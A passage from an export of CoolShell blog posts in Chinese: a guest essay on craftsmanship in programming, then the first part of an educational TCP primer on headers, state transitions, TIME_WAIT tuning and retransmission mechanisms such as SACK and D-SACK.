    "content": "---\nlayout: post\ntitle: 「我只是认真」聊聊工匠情怀\ndate: 2014/5/26/ 3:20:55\nupdated: 2014/5/26/ 3:20:55\nstatus: publish\npublished: true\ntype: post\n---\n\n**（感谢网友 [@Hesey小纯纯](http://weibo.com/tbmujian) 投稿  [博客](http://blog.hesey.net/) |　[原文链接](http://blog.hesey.net/2014/05/im-just-conscientious-talking-about-feelings-of-artisans.html)）**\n\n\n老罗的Smartisan T1手机发布会很多人应该都看了，发布会的最后老罗凝视着自己的工匠自画像，半晌没说话，随后转过身，慢慢离开舞台，屏幕下方只留下一句话：\n\n\n**我不是为了输赢，我就是认真。**\n\n\n这一瞬间让我想起93年「狮城舌战」的主角蒋昌建，在「人性本善还是人性本恶」的总结陈词最后，以顾城的名句，「黑夜给了我黑色的眼睛，我却用它寻找光明」，把整个辩论赛的氛围推向高潮。\n\n\n而老罗的这句话，和这句话背后的工匠背景，却以另外一种**无声的却震人心魄的力量**，敲打着每一个在场的，或是观看着整个发布会的观众的心绪。\n\n\n「工匠情怀」，我深有体会，就像我在 [面向GC的Java编程](http://blog.hesey.net/2014/05/gc-oriented-java-programming.html) 一文中所提到的：\n\n\n**优秀程序员的价值，不在于其所掌握的几招屠龙之术，而是在细节中见真著。**\n\n\n**如果我们可以一次把事情做对，并且做好，在允许的范围内尽可能追求卓越，为什么不去做呢？**\n\n\n追求卓越，追求完美，追求细节的极致。小时候看到那些修表匠，握着一个小螺丝刀，或是看着电工，用烙铁沾着锡和松香，在那一小寸的世界里，把坏了的地方修好，那种专注的眼神，觉得很厉害。\n\n\n现在再去回想那些工匠工作的场景，越发觉得钦佩。在我老家有一家刻章的店，在我上幼儿园的时候就已经在那开了很多年了。前段时间需要刻一个章，发现那家店还在，于是走进去，门口坐着一个老人，我确实记不得当年是不是他，不过看这岁数八九不离十。我以前在别的地方刻的章，都是在电脑里设计完图案后，激光刻蚀。但那次老人却是用的手刻，我着实惊呆了。只看他拿出一块红色的印底，右手持着刻刀，开始一下一下地刻着。虽然老人连话都不怎么说得清了，但是工作时那专注的神情，和精湛的手艺，以及最后成品那比机器更完美的效果，着实让我心里非常动容。\n\n\n\n#### 一、技术人的执着\n\n\n我见过很多人，也见过很多程序员，都有如此的「工匠情怀」。\n\n\n做产品需求评审，有的人善于快速提供技术解决方案，在最短的时间内解决问题。\n\n\n但我见过的很多牛人，他们除了能在脑海里最快地形成方案原型，并且更深入地考虑各种细节点，最终能给出一个更趋于完善的技术方案。\n\n\n在他们身上，我看到了**对这项职业的自我尊重，对自我价值的追求，也有对「卓越」的理解和渴求**。\n\n\n《精通正则表达式》的译者余晟老师写过他和正则表达式的 [缘起](http://www.luanxiang.org/blog/archives/1717.html) 。只是因为项目经理让他「多用Google，查查正则表达式的资料」，余老师打开了正则的大门，读完了英文原版的《Mastering Regular Expression》，如今成为了国内最了解正则表达式的人之一。\n\n\n看完那篇文章其实我想起了我的实习经历。那时候我刚去公司两三天，有一天我老板找我让我研究一下如何用Java里的MappedByteBuffer做文件内存映射来读取大文件。尽管我们当时要处理的文件很大，以我在学校编码的经验看，用普通的Reader也是可以很好地解决的。\n\n\n于是我说，「这个其实用Reader也能做，更简单一些，没那么麻烦。」\n\n\n老板反问我，「什么叫没那么麻烦，这是一个做技术的人的态度吗？」\n\n\n那几天我花了很多时间，去从Linux一直到JVM，去了解什么是内存映射，底层原理是什么，和其它技术的比较、优缺点，并和其它几种读文件的技术做了性能对比。\n\n\n虽然最后项目没有采用这个方案，但是那句反问直到现在一直在我脑海里，时时地提醒我：「**做技术的人，对待技术，应该拥有什么样的态度？**」\n\n\n所以其实我很感谢我的老板，以前他教我们这些新人优秀的职场习惯，有一条是每天的邮件必须没有未读数，即便是不需要阅读的邮件，也要一键置为已读，不要留一个未读的数字在那。现在想起来，有点像iOS App右上角那个提醒数的角标，有些强迫症的人怎么也忍受不了有个红圈圈在那。开个玩笑，虽然有些习惯看起来可有可无，无关紧要，但这确实映射了一种态度和思维习惯。\n\n\n**完美有多远？我不知道，但我愿意多往前走一步。**\n\n\n#### 二、拾起初衷\n\n\n我们的生活，每天很忙碌。有时候忙得自己都忘记了为什么在此处，有时候忙得只能不断地用直觉、用以往的经验去设计一个解决方案，而没有时间去思考需求是不是合理，方案是不是最佳，我们以为自己设计的是最佳实践，谁知道呢？\n\n\n这个社会，这个世界，处在一个以不可思议的速度向前直奔的时间线上，我们处在这个时代的浪潮之上，每个人都感到了那种令人窒息的紧迫感。\n\n\n父母都是不希望孩子太累的，我们见过很多这样的话：\n\n\n**差不多就行了。**\n\n\n**糊弄糊弄就完事了。**\n\n\n**不要与众不同。**\n\n\n**顺其自然。**\n\n\n但是你应该问问自己，是不是真的要 [顺其自然](http://blog.hesey.net/2010/05/is-let-it-be-consolation-or-excuse.html) ？\n\n\n我记得在上大二的时候，听一个叫端木恒的人说过一句话，大意是，**这个世界上，政治可以改变很多事情，而科技，可以通过促进信息的流通，最终去推动政治的变革，去改变整个世界。**\n\n\n当时觉得这事儿太酷了，是的，所以我当时的想法是，要去一个技术足够强大，并且对人们的生活有实质影响的公司。希望用技术的力量去让更多人生活地更好。\n\n\n这当然是一种不自量力，但又如何呢？只是一个普通人小小的想法，不断追求卓越，愿意比别人多往前走一步而已。\n\n\n就像冯大辉说的：\n\n\n**所有人都说你做不成，都告诉你不要去做，不靠谱，嘲讽你，而你最后真的把事情做起来了，这就是牛逼。**\n\n\n做成了，其实牛不牛逼对你自己而言已经不重要了。\n\n\n没做成，所有人都笑你是傻逼，但起码也对得起自己的内心。\n\n\n再说，如果 [青年人](http://blog.hesey.net/2010/05/strength-of-the-young.html) 想的都是养老和退休，那做事的人在哪？\n\n\n#### 三、发现更好的自己\n\n\n老罗最后的一个问题是：\n\n\n**在一个完美主义者的眼里，这是一个怎样的世界？**\n\n\n这个社会上很多人在生活上追求更高的品质，但愿意对自己手头所做的事情坚持高标准坚持卓越理念的人已经不多见了，以至于我们发现**花再多的钱也买不到安全的食品了，花了一辈子的积蓄买的房子却有各种质量问题。**扪心自问自己在工作中是否能坚持某些东西，大部分人的态度都差不多，只是你糊弄一下不会怎样，而他马虎一点就会死人，区别仅仅在于这里。\n\n\nM·斯科特·派克说过一句话：\n\n\n**规避问题和逃避问题的趋向，是人类心理疾病的根源。**\n\n\n很多人把随大流把妥协作为一种「成熟」的标志，小时候敢想敢说可能也敢做，长大以后懂得了人情世故，懂得向现实妥协，45度角仰望天空说自己终于长大了。再看身边那些「冥顽不灵」、「认死理」的所谓完美主义者，认为这些人才是不正常的群体，把这些人要么当做傻逼要么当做装逼。\n\n\n天哪，我都想问，「这是一个怎样的世界？」\n\n\n肯定有人会说，站着说话不腰疼。诚然，在生活中，有的人是为了活下去，有的人是为了活得更好，有的人是为了帮助别人活得更好。这是不同的人生阶段，每个人的情况不一样，但这并不影响每个人内心的精神寄托和对信念的追求。\n\n\n我从不指望去改变别人，但我相信我可以改变自己，虽然也很难。\n\n\n学生都喜欢问，如何最快地告诉自己的能力。说实话，我真的不知道什么是捷径，我的经验就是和比你优秀的人一起工作，经常请教比你资深的人，不断挑战过去的自己（每天审视自己太紧张了，只要比前段时间的自己更好就可以了）。\n\n\n#### 四、细节是魔鬼\n\n\nDevils are in the details，细节是魔鬼，这句话很多人都听过，但要在工作中时时刻刻注意？难。\n\n\n前几天给同事做Code Review，就几行代码，发现了一个问题。\n\n\n场景是我们发现某个系统中存在占用内存超大的HTML字符串，需要统计HTML字符串的长度，于是为了获得准确的字节长度，这段代码调用的是String.getBytes().length，一眼看起来并没有什么大问题。\n\n\n但是考虑到本身这个字符串就比较大，联想到Java内部是用UTF-16存储字符串的，而getBytes()会转换为系统默认编码（GBK或是UTF-8等等），这里必然存在底层字符数组的拷贝（可以去参考String.getBytes()的源代码证实），一个本身就很大的字符串，经过拷贝，将会占用更多的内存，加剧这个问题，而在HTML中，中文其实只占了非常小的一部分，所以直接用String.length()，虽然会少数几个字符，但对统计结果影响其实并不大，并且这里不存在任何数组分配的开销。\n\n\n另外建议所有调用String.getBytes()的地方通通显式传入编码，这是个大坑。（*陈皓注：用String.length代替getBytes().length，也是在给未来挖坑——如果未来有人要用len来干别的事，那么这个不精确的len可能就是一个大坑*）\n\n\n另外一个案例，也是在Code Review的时候发现的。\n\n\n某个调用场景下，每次都会新建一个解析器对象去解析结果，尽管解析器没有任何实例变量不会产生线程安全问题，创建的开销也并不大，但我还是坚持要改成单例，使用同一个实例去处理，这也符合面向GC编程的思想。\n\n\n这些场景，每天我们都在遇到，**也许我们会说这些都是很小的问题，无伤大雅，差不多就行了。**但就像前面说的，这是一种态度，一种思维习惯，当你坚持用最高的标准去要求自己，去要求自己的工作时，你才有可能渐渐接近卓越。细节是魔鬼，它会在完全察觉不到的时刻，把人拉回平庸。\n\n\n「我不是为了输赢，我就是认真。」这不代表我们不在乎输赢，从头至尾我都坚信，只有坚持完美，坚持品质，坚持那些我们曾经了解现在可能已经放弃了的美好的东西，像一个老工匠，把一种专注、追求极致的情怀融入我们的作品里，也许有一天，就有人，追寻着 [梦想](http://blog.hesey.net/2010/04/a-time-without-dreams.html) ，发现了 [生活更多的可能性](http://blog.hesey.net/2012/02/posibilities-of-life.html) ，像乔布斯、像贝索斯，改变整个行业，改变全世界。\n\n\n我们是被这个时代推上浪潮之巅的人，是去做一个见证者，或是一个冲在最前面也不怕被拍死的傻瓜，是我们每个人选择的权利。\n\n\n只是不要忘记，那些傻瓜，不是真的不怕死，**他们只是认真**。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [「我只是认真」聊聊工匠情怀](https://coolshell.cn/articles/11629.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2014-5-28 TCP 的那些事儿（上）.md",
    "content": "---\nlayout: post\ntitle: TCP 的那些事儿（上）\ndate: 2014/5/28/ 0:15:36\nupdated: 2014/5/28/ 0:15:36\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2014/05/tin-can-phone.jpg)TCP是一个巨复杂的协议，因为他要解决很多问题，而这些问题又带出了很多子问题和阴暗面。所以学习TCP本身是个比较痛苦的过程，但对于学习的过程却能让人有很多收获。关于TCP这个协议的细节，我还是推荐你去看[W.Richard Stevens](http://www.kohala.com/start/)的《[TCP/IP 详解 卷1：协议](http://book.douban.com/subject/1088054/)》（当然，你也可以去读一下[RFC793](http://tools.ietf.org/html/rfc793)以及后面N多的RFC）。另外，本文我会使用英文术语，这样方便你通过这些英文关键词来查找相关的技术文档。\n\n\n之所以想写这篇文章，目的有三个，\n\n\n* 一个是想锻炼一下自己是否可以用简单的篇幅把这么复杂的TCP协议描清楚的能力。\n* 另一个是觉得现在的好多程序员基本上不会认认真真地读本书，喜欢快餐文化，所以，希望这篇快餐文章可以让你对TCP这个古典技术有所了解，并能体会到软件设计中的种种难处。并且你可以从中有一些软件设计上的收获。\n* 最重要的希望这些基础知识可以让你搞清很多以前一些似是而非的东西，并且你能意识到基础的重要。\n\n\n所以，本文不会面面俱到，只是对TCP协议、算法和原理的科普。\n\n\n\n我本来只想写一个篇幅的文章的，但是TCP真TMD的复杂，比C++复杂多了，这30多年来，各种优化变种争论和修改。所以，写着写着就发现只有砍成两篇。\n\n\n* 上篇中，主要向你介绍TCP协议的定义和丢包时的重传机制。\n* 下篇中，重点介绍TCP的流迭、拥塞处理。\n\n\n废话少说，首先，我们需要知道TCP在网络OSI的七层模型中的第四层——Transport层，IP在第三层——Network层，ARP在第二层——Data Link层，在第二层上的数据，我们叫Frame，在第三层上的数据叫Packet，第四层的数据叫Segment。\n\n\n首先，我们需要知道，我们程序的数据首先会打到TCP的Segment中，然后TCP的Segment会打到IP的Packet中，然后再打到以太网Ethernet的Frame中，传到对端后，各个层解析自己的协议，然后把数据交给更高层的协议处理。\n\n\n#### TCP头格式\n\n\n接下来，我们来看一下TCP头的格式\n\n\n![](../wp-content/uploads/2014/05/TCP-Header-01.jpg)TCP头格式（[图片来源](http://nmap.org/book/tcpip-ref.html)）\n\n\n你需要注意这么几点：\n\n\n* TCP的包是没有IP地址的，那是IP层上的事。但是有源端口和目标端口。\n* 一个TCP连接需要四个元组来表示是同一个连接（src\\_ip, src\\_port, dst\\_ip, dst\\_port）准确说是五元组，还有一个是协议。但因为这里只是说TCP协议，所以，这里我只说四元组。\n* 注意上图中的四个非常重要的东西：\n\t+ **Sequence Number**是包的序号，**用来解决网络包乱序（reordering）问题。**\n\t+ **Acknowledgement Number**就是ACK——用于确认收到，**用来解决不丢包的问题**。\n\t+ **Window又叫Advertised-Window**，也就是著名的滑动窗口（Sliding Window），**用于解决流控的**。\n\t+ **TCP Flag** ，也就是包的类型，**主要是用于操控TCP的状态机的**。\n\n\n关于其它的东西，可以参看下面的图示\n\n\n![](../wp-content/uploads/2014/05/TCP-Header-02.jpg)\n\n\n（[图片来源](http://nmap.org/book/tcpip-ref.html)）\n\n\n#### TCP的状态机\n\n\n其实，**网络上的传输是没有连接的，包括TCP也是一样的**。而TCP所谓的“连接”，其实只不过是在通讯的双方维护一个“连接状态”，让它看上去好像有连接一样。所以，TCP的状态变换是非常重要的。\n\n\n下面是：“**TCP协议的状态机**”（[图片来源](http://www.tcpipguide.com/free/t_TCPOperationalOverviewandtheTCPFiniteStateMachineF-2.htm)） 和 “**TCP建链接**”、“**TCP断链接**”、“**传数据**” 的对照图，我把两个图并排放在一起，这样方便在你对照着看。另外，下面这两个图非常非常的重要，你一定要记牢。（吐个槽：看到这样复杂的状态机，就知道这个协议有多复杂，复杂的东西总是有很多坑爹的事情，所以TCP协议其实也挺坑爹的）\n\n\n![](../wp-content/uploads/2014/05/tcpfsm.png) ![](../wp-content/uploads/2014/05/tcp_open_close.jpg)\n\n\n很多人会问，为什么建链接要3次握手，断链接需要4次挥手？\n\n\n* **对于建链接的3次握手，**主要是要初始化Sequence Number 的初始值。通信的双方要互相通知对方自己的初始化的Sequence Number（缩写为ISN：Inital Sequence Number）——所以叫SYN，全称Synchronize Sequence Numbers。也就上图中的 x 和 y。这个号要作为以后的数据通信的序号，以保证应用层接收到的数据不会因为网络上的传输的问题而乱序（TCP会用这个序号来拼接数据）。\n\n\n* **对于4次挥手，**其实你仔细看是2次，因为TCP是全双工的，所以，发送方和接收方都需要Fin和Ack。只不过，有一方是被动的，所以看上去就成了所谓的4次挥手。如果两边同时断连接，那就会就进入到CLOSING状态，然后到达TIME\\_WAIT状态。下图是双方同时断连接的示意图（你同样可以对照着TCP状态机看）：\n\n\n![](../wp-content/uploads/2014/05/tcpclosesimul.png)  \n\n两端同时断连接（[图片来源](http://www.tcpipguide.com/free/t_TCPConnectionTermination-4.htm)）\n\n\n \n\n\n另外，有几个事情需要注意一下：\n\n\n* **关于建连接时SYN超时**。试想一下，如果server端接到了clien发的SYN后回了SYN-ACK后client掉线了，server端没有收到client回来的ACK，那么，这个连接处于一个中间状态，即没成功，也没失败。于是，server端如果在一定时间内没有收到的TCP会重发SYN-ACK。在Linux下，默认重试次数为5次，重试的间隔时间从1s开始每次都翻售，5次的重试时间间隔为1s, 2s, 4s, 8s, 16s，总共31s，第5次发出后还要等32s都知道第5次也超时了，所以，总共需要 1s + 2s + 4s+ 8s+ 16s + 32s = 2^6 -1 = 63s，TCP才会把断开这个连接。\n\n\n* **关于SYN Flood攻击**。一些恶意的人就为此制造了SYN Flood攻击——给服务器发了一个SYN后，就下线了，于是服务器需要默认等63s才会断开连接，这样，攻击者就可以把服务器的syn连接的队列耗尽，让正常的连接请求不能处理。于是，Linux下给了一个叫**tcp\\_syncookies**的参数来应对这个事——当SYN队列满了后，TCP会通过源地址端口、目标地址端口和时间戳打造出一个特别的Sequence Number发回去（又叫cookie），如果是攻击者则不会有响应，如果是正常连接，则会把这个 SYN Cookie发回来，然后服务端可以通过cookie建连接（即使你不在SYN队列中）。请注意，**请先千万别用tcp\\_syncookies来处理正常的大负载的连接的情况**。因为，synccookies是妥协版的TCP协议，并不严谨。对于正常的请求，你应该调整三个TCP参数可供你选择，第一个是：tcp\\_synack\\_retries 可以用他来减少重试次数；第二个是：tcp\\_max\\_syn\\_backlog，可以增大SYN连接数；第三个是：tcp\\_abort\\_on\\_overflow 处理不过来干脆就直接拒绝连接了。\n\n\n* **关于ISN的初始化**。ISN是不能hard code的，不然会出问题的——比如：如果连接建好后始终用1来做ISN，如果client发了30个segment过去，但是网络断了，于是 client重连，又用了1做ISN，但是之前连接的那些包到了，于是就被当成了新连接的包，此时，client的Sequence Number 可能是3，而Server端认为client端的这个号是30了。全乱了。[RFC793](http://tools.ietf.org/html/rfc793)中说，ISN会和一个假的时钟绑在一起，这个时钟会在每4微秒对ISN做加一操作，直到超过2^32，又从0开始。这样，一个ISN的周期大约是4.55个小时。因为，我们假设我们的TCP Segment在网络上的存活时间不会超过Maximum Segment Lifetime（缩写为MSL – [Wikipedia语条](http://en.wikipedia.org/wiki/Maximum_Segment_Lifetime)），所以，只要MSL的值小于4.55小时，那么，我们就不会重用到ISN。\n\n\n* **关于 MSL 和 TIME\\_WAIT**。通过上面的ISN的描述，相信你也知道MSL是怎么来的了。我们注意到，在TCP的状态图中，从TIME\\_WAIT状态到CLOSED状态，有一个超时设置，这个超时设置是 2\\*MSL（[RFC793](http://tools.ietf.org/html/rfc793)定义了MSL为2分钟，Linux设置成了30s）为什么要这有TIME\\_WAIT？为什么不直接给转成CLOSED状态呢？主要有两个原因：1）TIME\\_WAIT确保有足够的时间让对端收到了ACK，如果被动关闭的那方没有收到Ack，就会触发被动端重发Fin，一来一去正好2个MSL，2）有足够的时间让这个连接不会跟后面的连接混在一起（你要知道，有些自做主张的路由器会缓存IP数据包，如果连接被重用了，那么这些延迟收到的包就有可能会跟新连接混在一起）。你可以看看这篇文章《[TIME\\_WAIT and its design implications for protocols and scalable client server systems](http://www.serverframework.com/asynchronousevents/2011/01/time-wait-and-its-design-implications-for-protocols-and-scalable-servers.html)》\n\n\n* **关于TIME\\_WAIT数量太多**。从上面的描述我们可以知道，TIME\\_WAIT是个很重要的状态，但是如果在大并发的短链接下，TIME\\_WAIT 就会太多，这也会消耗很多系统资源。只要搜一下，你就会发现，十有八九的处理方式都是教你设置两个参数，一个叫**tcp\\_tw\\_reuse**，另一个叫**tcp\\_tw\\_recycle**的参数，这两个参数默认值都是被关闭的，后者recyle比前者resue更为激进，resue要温柔一些。另外，如果使用tcp\\_tw\\_reuse，必需设置tcp\\_timestamps=1，否则无效。这里，你一定要注意，**打开这两个参数会有比较大的坑——可能会让TCP连接出一些诡异的问题**（因为如上述一样，如果不等待超时重用连接的话，新的连接可能会建不上。正如[官方文档](https://www.kernel.org/doc/Documentation/networking/ip-sysctl.txt)上说的一样“**It should not be changed without advice/request of technical experts**”）。\n\n\n+ **关于tcp\\_tw\\_reuse**。官方文档上说tcp\\_tw\\_reuse 加上tcp\\_timestamps（又叫PAWS, for Protection Against Wrapped Sequence Numbers）可以保证协议的角度上的安全，但是你需要tcp\\_timestamps在两边都被打开（你可以读一下[tcp\\_twsk\\_unique](http://lxr.free-electrons.com/ident?i=tcp_twsk_unique)的源码 ）。我个人估计还是有一些场景会有问题。\n\n\n+ **关于tcp\\_tw\\_recycle**。如果是tcp\\_tw\\_recycle被打开了话，会假设对端开启了tcp\\_timestamps，然后会去比较时间戳，如果时间戳变大了，就可以重用。但是，如果对端是一个NAT网络的话（如：一个公司只用一个IP出公网）或是对端的IP被另一台重用了，这个事就复杂了。建链接的SYN可能就被直接丢掉了（你可能会看到connection time out的错误）（如果你想观摩一下Linux的内核代码，请参看源码[tcp\\_timewait\\_state\\_process](http://lxr.free-electrons.com/ident?i=tcp_timewait_state_process)）。\n\n\n+ **关于tcp\\_max\\_tw\\_buckets**。这个是控制并发的TIME\\_WAIT的数量，默认值是180000，如果超限，那么，系统会把多的给destory掉，然后在日志里打一个警告（如：time wait bucket table overflow），官网文档说这个参数是用来对抗DDoS攻击的。也说的默认值180000并不小。这个还是需要根据实际情况考虑。\n\n\n**Again，使用tcp\\_tw\\_reuse和tcp\\_tw\\_recycle来解决TIME\\_WAIT的问题是非常非常危险的，因为这两个参数违反了TCP协议（[RFC 1122](http://tools.ietf.org/html/rfc1122)）**\n\n\n其实，TIME\\_WAIT表示的是你主动断连接，所以，这就是所谓的“不作死不会死”。试想，如果让对端断连接，那么这个破问题就是对方的了，呵呵。另外，如果你的服务器是于HTTP服务器，那么设置一个[HTTP的KeepAlive](http://en.wikipedia.org/wiki/HTTP_persistent_connection)有多重要（浏览器会重用一个TCP连接来处理多个HTTP请求），然后让客户端去断链接（你要小心，浏览器可能会非常贪婪，他们不到万不得已不会主动断连接）。\n\n\n#### 数据传输中的Sequence Number\n\n\n下图是我从Wireshark中截了个我在访问coolshell.cn时的有数据传输的图给你看一下，SeqNum是怎么变的。（使用Wireshark菜单中的Statistics ->Flow Graph… ）\n\n\n![](../wp-content/uploads/2014/05/tcp_data_seq_num.jpg)\n\n\n你可以看到，**SeqNum的增加是和传输的字节数相关的**。上图中，三次握手后，来了两个Len:1440的包，而第二个包的SeqNum就成了1441。然后第一个ACK回的是1441，表示第一个1440收到了。\n\n\n**注意**：如果你用Wireshark抓包程序看3次握手，你会发现SeqNum总是为0，不是这样的，Wireshark为了显示更友好，使用了Relative SeqNum——相对序号，你只要在右键菜单中的protocol preference 中取消掉就可以看到“Absolute SeqNum”了\n\n\n#### TCP重传机制\n\n\nTCP要保证所有的数据包都可以到达，所以，必需要有重传机制。\n\n\n注意，接收端给发送端的Ack确认只会确认最后一个连续的包，比如，发送端发了1,2,3,4,5一共五份数据，接收端收到了1，2，于是回ack 3，然后收到了4（注意此时3没收到），此时的TCP会怎么办？我们要知道，因为正如前面所说的，**SeqNum和Ack是以字节数为单位，所以ack的时候，不能跳着确认，只能确认最大的连续收到的包**，不然，发送端就以为之前的都收到了。\n\n\n##### 超时重传机制\n\n\n一种是不回ack，死等3，当发送方发现收不到3的ack超时后，会重传3。一旦接收方收到3后，会ack 回 4——意味着3和4都收到了。\n\n\n但是，这种方式会有比较严重的问题，那就是因为要死等3，所以会导致4和5即便已经收到了，而发送方也完全不知道发生了什么事，因为没有收到Ack，所以，发送方可能会悲观地认为也丢了，所以有可能也会导致4和5的重传。\n\n\n对此有两种选择：\n\n\n* 一种是仅重传timeout的包。也就是第3份数据。\n* 另一种是重传timeout后所有的数据，也就是第3，4，5这三份数据。\n\n\n这两种方式有好也有不好。第一种会节省带宽，但是慢，第二种会快一点，但是会浪费带宽，也可能会有无用功。但总体来说都不好。因为都在等timeout，timeout可能会很长（在下篇会说TCP是怎么动态地计算出timeout的）\n\n\n##### 快速重传机制\n\n\n于是，TCP引入了一种叫**Fast Retransmit** 的算法，**不以时间驱动，而以数据驱动重传**。也就是说，如果，包没有连续到达，就ack最后那个可能被丢了的包，如果发送方连续收到3次相同的ack，就重传。Fast Retransmit的好处是不用等timeout了再重传。\n\n\n比如：如果发送方发出了1，2，3，4，5份数据，第一份先到送了，于是就ack回2，结果2因为某些原因没收到，3到达了，于是还是ack回2，后面的4和5都到了，但是还是ack回2，因为2还是没有收到，于是发送端收到了三个ack=2的确认，知道了2还没有到，于是就马上重转2。然后，接收端收到了2，此时因为3，4，5都收到了，于是ack回6。示意图如下：\n\n\n![](../wp-content/uploads/2014/05/FASTIncast021.png)\n\n\nFast Retransmit只解决了一个问题，就是timeout的问题，它依然面临一个艰难的选择，就是，是重传之前的一个还是重传所有的问题。对于上面的示例来说，是重传#2呢还是重传#2，#3，#4，#5呢？因为发送端并不清楚这连续的3个ack(2)是谁传回来的？也许发送端发了20份数据，是#6，#10，#20传来的呢。这样，发送端很有可能要重传从2到20的这堆数据（这就是某些TCP的实际的实现）。可见，这是一把双刃剑。\n\n\n##### SACK 方法\n\n\n另外一种更好的方式叫：**Selective Acknowledgment (SACK)**（参看[RFC 2018](http://tools.ietf.org/html/rfc2018)），这种方式需要在TCP头里加一个SACK的东西，ACK还是Fast Retransmit的ACK，SACK则是汇报收到的数据碎版。参看下图：\n\n\n![](../wp-content/uploads/2014/05/tcp_sack_example-1024x577.jpg)\n\n\n这样，在发送端就可以根据回传的SACK来知道哪些数据到了，哪些没有到。于是就优化了Fast Retransmit的算法。当然，这个协议需要两边都支持。在 Linux下，可以通过**tcp\\_sack**参数打开这个功能（Linux 2.4后默认打开）。\n\n\n这里还需要注意一个问题——**接收方Reneging，所谓Reneging的意思就是接收方有权把已经报给发送端SACK里的数据给丢了**。这样干是不被鼓励的，因为这个事会把问题复杂化了，但是，接收方这么做可能会有些极端情况，比如要把内存给别的更重要的东西。**所以，发送方也不能完全依赖SACK，还是要依赖ACK，并维护Time-Out，如果后续的ACK没有增长，那么还是要把SACK的东西重传，另外，接收端这边永远不能把SACK的包标记为Ack。**\n\n\n注意：SACK会消费发送方的资源，试想，如果一个攻击者给数据发送方发一堆SACK的选项，这会导致发送方开始要重传甚至遍历已经发出的数据，这会消耗很多发送端的资源。详细的东西请参看《[TCP SACK的性能权衡](http://www.ibm.com/developerworks/cn/linux/l-tcp-sack/)》\n\n\n##### Duplicate SACK – 重复收到数据的问题\n\n\nDuplicate SACK又称D-SACK，**其主要使用了SACK来告诉发送方有哪些数据被重复接收了**。[RFC-2883](http://www.ietf.org/rfc/rfc2883.txt) 里有详细描述和示例。下面举几个例子（来源于[RFC-2883](http://www.ietf.org/rfc/rfc2883.txt)）\n\n\nD-SACK使用了SACK的第一个段来做标志，\n\n\n* 如果SACK的第一个段的范围被ACK所覆盖，那么就是D-SACK\n\n\n* 如果SACK的第一个段的范围被SACK的第二个段覆盖，那么就是D-SACK\n\n\n**示例一：ACK丢包**\n\n\n下面的示例中，丢了两个ACK，所以，发送端重传了第一个数据包（3000-3499），于是接收端发现重复收到，于是回了一个SACK=3000-3500，因为ACK都到了4000意味着收到了4000之前的所有数据，所以这个SACK就是D-SACK——旨在告诉发送端我收到了重复的数据，而且我们的发送端还知道，数据包没有丢，丢的是ACK包。\n\n\n\n```\n\n\tTransmitted  Received    ACK Sent\n\tSegment      Segment     (Including SACK Blocks)\n\n\t3000-3499    3000-3499   3500 (ACK dropped)\n\t3500-3999    3500-3999   4000 (ACK dropped)\n\t3000-3499    3000-3499   4000, SACK=3000-3500\n                                        ---------\n```\n\n**示例二，网络延误**\n\n\n下面的示例中，网络包（1000-1499）被网络给延误了，导致发送方没有收到ACK，而后面到达的三个包触发了“Fast Retransmit算法”，所以重传，但重传时，被延误的包又到了，所以，回了一个SACK=1000-1500，因为ACK已到了3000，所以，这个SACK是D-SACK——标识收到了重复的包。\n\n\n这个案例下，发送端知道之前因为“Fast Retransmit算法”触发的重传不是因为发出去的包丢了，也不是因为回应的ACK包丢了，而是因为网络延时了。\n\n\n\n```\n\n    Transmitted    Received    ACK Sent\n    Segment        Segment     (Including SACK Blocks)\n\n    500-999        500-999     1000\n    1000-1499      (delayed)\n    1500-1999      1500-1999   1000, SACK=1500-2000\n    2000-2499      2000-2499   1000, SACK=1500-2500\n    2500-2999      2500-2999   1000, SACK=1500-3000\n    1000-1499      1000-1499   3000\n                   1000-1499   3000, SACK=1000-1500\n                                          ---------\n```\n\n \n\n\n可见，引入了D-SACK，有这么几个好处：\n\n\n1）可以让发送方知道，是发出去的包丢了，还是回来的ACK包丢了。\n\n\n2）是不是自己的timeout太小了，导致重传。\n\n\n3）网络上出现了先发的包后到的情况（又称reordering）\n\n\n4）网络上是不是把我的数据包给复制了。\n\n\n **知道这些东西可以很好得帮助TCP了解网络情况，从而可以更好的做网络上的流控**。\n\n\nLinux下的tcp\\_dsack参数用于开启这个功能（Linux 2.4后默认打开）\n\n\n好了，上篇就到这里结束了。如果你觉得我写得还比较浅显易懂，那么，欢迎移步看下篇《[TCP的那些事（下）](https://coolshell.cn/articles/11609.html)》\n\n\n**[TCP的那些事儿（下）>>>](https://coolshell.cn/articles/11609.html)**\n\n\n（上篇完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从一次经历谈 TIME_WAIT 的那些事](../wp-content/uploads/2022/07/wall_clock-300x167-1-150x150.jpeg)](https://coolshell.cn/articles/22263.html)[从一次经历谈 TIME\\_WAIT 的那些事](https://coolshell.cn/articles/22263.html)\n* 